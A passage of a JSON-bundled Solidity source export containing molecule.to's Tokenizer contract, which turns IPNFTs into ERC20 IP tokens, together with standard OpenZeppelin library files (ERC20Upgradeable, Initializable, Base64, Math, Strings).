buffer[i] = _SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n\n /**\n * @dev Returns true if the two strings are equal.\n */\n function equal(string memory a, string memory b) internal pure returns (bool) {\n return keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"src/Tokenizer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.18;\n\nimport { UUPSUpgradeable } from \"@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol\";\nimport { OwnableUpgradeable } from \"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol\";\nimport { Clones } from \"@openzeppelin/contracts/proxy/Clones.sol\";\nimport { Strings } from \"@openzeppelin/contracts/utils/Strings.sol\";\nimport { IPToken, Metadata as TokenMetadata } from \"./IPToken.sol\";\nimport { IPermissioner } from \"./Permissioner.sol\";\nimport { IPNFT } from \"./IPNFT.sol\";\nimport { IControlIPTs } from \"./IControlIPTs.sol\";\n\nerror MustControlIpnft();\nerror AlreadyTokenized();\nerror ZeroAddress();\nerror IPTNotControlledByTokenizer();\n\n/// @title Tokenizer 1.3\n/// @author molecule.to\n/// @notice tokenizes an IPNFT to an ERC20 token (called IPToken or IPT) and controls its supply.\ncontract Tokenizer is UUPSUpgradeable, OwnableUpgradeable, IControlIPTs {\n event TokensCreated(\n uint256 indexed moleculesId,\n uint256 indexed ipnftId,\n address indexed tokenContract,\n address emitter,\n uint256 amount,\n string agreementCid,\n string name,\n string symbol\n );\n\n event IPTokenImplementationUpdated(IPToken indexed old, IPToken indexed _new);\n event PermissionerUpdated(IPermissioner indexed old, IPermissioner indexed _new);\n\n IPNFT internal ipnft;\n\n /// @dev a map of all IPTs. We're staying with the the initial term \"synthesized\" to keep the storage layout intact\n mapping(uint256 => IPToken) public synthesized;\n\n /// @dev not used, needed to ensure that storage slots are still in order after 1.1 -> 1.2, use ipTokenImplementation\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n address immutable tokenImplementation;\n\n /// @dev the permissioner checks if senders have agreed to legal requirements\n IPermissioner public permissioner;\n\n /// @notice the IPToken implementation this Tokenizer clones from\n IPToken public ipTokenImplementation;\n\n /**\n * @param _ipnft the IPNFT contract\n * @param _permissioner a permissioning contract that checks if callers have agreed to the tokenized token's legal agreements\n */\n function initialize(IPNFT _ipnft, IPermissioner _permissioner) external initializer {\n __UUPSUpgradeable_init();\n __Ownable_init();\n ipnft = _ipnft;\n permissioner = _permissioner;\n }\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor() {\n tokenImplementation = address(0);\n _disableInitializers();\n }\n\n function getIPNFTContract() public view returns (IPNFT) {\n return ipnft;\n }\n\n modifier onlyController(IPToken ipToken) {\n TokenMetadata memory metadata = ipToken.metadata();\n\n if (address(synthesized[metadata.ipnftId]) != address(ipToken)) {\n revert IPTNotControlledByTokenizer();\n }\n\n if (_msgSender() != controllerOf(metadata.ipnftId)) {\n revert MustControlIpnft();\n }\n _;\n }\n\n /**\n * @notice sets the new implementation address of the IPToken\n * @param _ipTokenImplementation address pointing to the new implementation\n */\n function setIPTokenImplementation(IPToken _ipTokenImplementation) public onlyOwner {\n /*\n could call some functions on old contract to make sure its tokenizer not another contract behind a proxy for safety\n */\n if (address(_ipTokenImplementation) == address(0)) {\n revert ZeroAddress();\n }\n\n emit IPTokenImplementationUpdated(ipTokenImplementation, _ipTokenImplementation);\n ipTokenImplementation = _ipTokenImplementation;\n }\n\n /**\n * @dev sets legacy IPTs on the tokenized mapping\n */\n function reinit(IPToken _ipTokenImplementation) public onlyOwner reinitializer(5) {\n synthesized[2] = IPToken(0x6034e0d6999741f07cb6Fb1162cBAA46a1D33d36);\n synthesized[28] = IPToken(0x7b66E84Be78772a3afAF5ba8c1993a1B5D05F9C2);\n synthesized[37] = IPToken(0xBcE56276591128047313e64744b3EBE03998783f);\n\n setIPTokenImplementation(_ipTokenImplementation);\n }\n\n /**\n * @notice tokenizes ipnft#id for the current asset holder.\n * @param ipnftId the token id on the underlying nft collection\n * @param tokenAmount the initially issued supply of IP tokens\n * @param tokenSymbol the ip token's ticker symbol\n * @param agreementCid a content hash that contains legal terms for IP token owners\n * @param signedAgreement the sender's signature over the signed agreemeent text (must be created on the client)\n * @return token a new created ERC20 token contract that represents the tokenized ipnft\n */\n function tokenizeIpnft(\n uint256 ipnftId,\n uint256 tokenAmount,\n string memory tokenSymbol,\n string memory agreementCid,\n bytes calldata signedAgreement\n ) external returns (IPToken token) {\n if (_msgSender() != controllerOf(ipnftId)) {\n revert MustControlIpnft();\n }\n if (address(synthesized[ipnftId]) != address(0)) {\n revert AlreadyTokenized();\n }\n\n // https://github.com/OpenZeppelin/workshops/tree/master/02-contracts-clone\n token = IPToken(Clones.clone(address(ipTokenImplementation)));\n string memory name = string.concat(\"IP Tokens of IPNFT #\", Strings.toString(ipnftId));\n token.initialize(ipnftId, name, tokenSymbol, _msgSender(), agreementCid);\n\n synthesized[ipnftId] = token;\n\n //this has been called MoleculesCreated before\n emit TokensCreated(\n //upwards compatibility: signaling a unique \"Molecules ID\" as first parameter (\"sales cycle id\"). This is unused and not interpreted.\n uint256(keccak256(abi.encodePacked(ipnftId))),\n ipnftId,\n address(token),\n _msgSender(),\n tokenAmount,\n agreementCid,\n name,\n tokenSymbol\n );\n permissioner.accept(token, _msgSender(), signedAgreement);\n token.issue(_msgSender(), tokenAmount);\n }\n\n /**\n * @notice issues more IPTs when not capped. This can be used for new owners of legacy IPTs that otherwise wouldn't be able to pass their `onlyIssuerOrOwner` gate\n * @param ipToken The ip token to control\n * @param amount the amount of tokens to issue\n * @param receiver the address that receives the tokens\n */\n function issue(IPToken ipToken, uint256 amount, address receiver) external onlyController(ipToken) {\n ipToken.issue(receiver, amount);\n }\n\n /**\n * @notice caps the supply of an IPT. After calling this, no new tokens can be `issue`d\n * @dev you must compute the ipt hash externally.\n * @param ipToken the IPToken to cap.\n */\n function cap(IPToken ipToken) external onlyController(ipToken) {\n ipToken.cap();\n }\n\n /// @dev this will be called by IPTs. Right now the controller is the IPNFT's current owner, it can be a Governor in the future.\n function controllerOf(uint256 ipnftId) public view override returns (address) {\n return ipnft.ownerOf(ipnftId);\n }\n\n /// @notice upgrade authorization logic\n function _authorizeUpgrade(address /*newImplementation*/ )\n internal\n override\n onlyOwner // solhint-disable--line no-empty-blocks\n {\n //empty block\n }\n}\n"
},
"src/IControlIPTs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.18;\n\n/**\n * @title IControlIPTs 1.3\n * @author molecule.xyz\n * @notice must be implemented by contracts that should control IPTs\n */\ninterface IControlIPTs {\n function controllerOf(uint256 ipnftId) external view returns (address);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/ERC20Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20Upgradeable.sol\";\nimport \"./extensions/IERC20MetadataUpgradeable.sol\";\nimport \"../../utils/ContextUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * The default value of {decimals} is 18. To change this, you should override\n * this function so it returns a different value.\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing {\n __ERC20_init_unchained(name_, symbol_);\n }\n\n function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the default value returned by this function, unless\n * it's overridden.\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(address from, address to, uint256 amount) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by\n // decrementing then incrementing.\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n // Overflow not possible: amount <= accountBalance <= totalSupply.\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(address owner, address spender, uint256 amount) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[45] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/ContextUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract ContextUpgradeable is Initializable {\n function __Context_init() internal onlyInitializing {\n }\n\n function __Context_init_unchained() internal onlyInitializing {\n }\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```solidity\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n *\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Returns the highest version that has been initialized. See {reinitializer}.\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}.\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/math/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary Math {\n enum Rounding {\n Down, // Toward negative infinity\n Up, // Toward infinity\n Zero // Toward zero\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds up instead\n * of rounding down.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)\n * with further edits by Uniswap Labs also under MIT license.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod0 := mul(x, y)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n // Solidity will revert if denominator == 0, unlike the div opcode on its own.\n // The surrounding unchecked block does not change this fact.\n // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.\n // See https://cs.stackexchange.com/q/138556/92363.\n\n // Does not overflow because the denominator cannot be zero at this stage in the function.\n uint256 twos = denominator & (~denominator + 1);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works\n // in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - 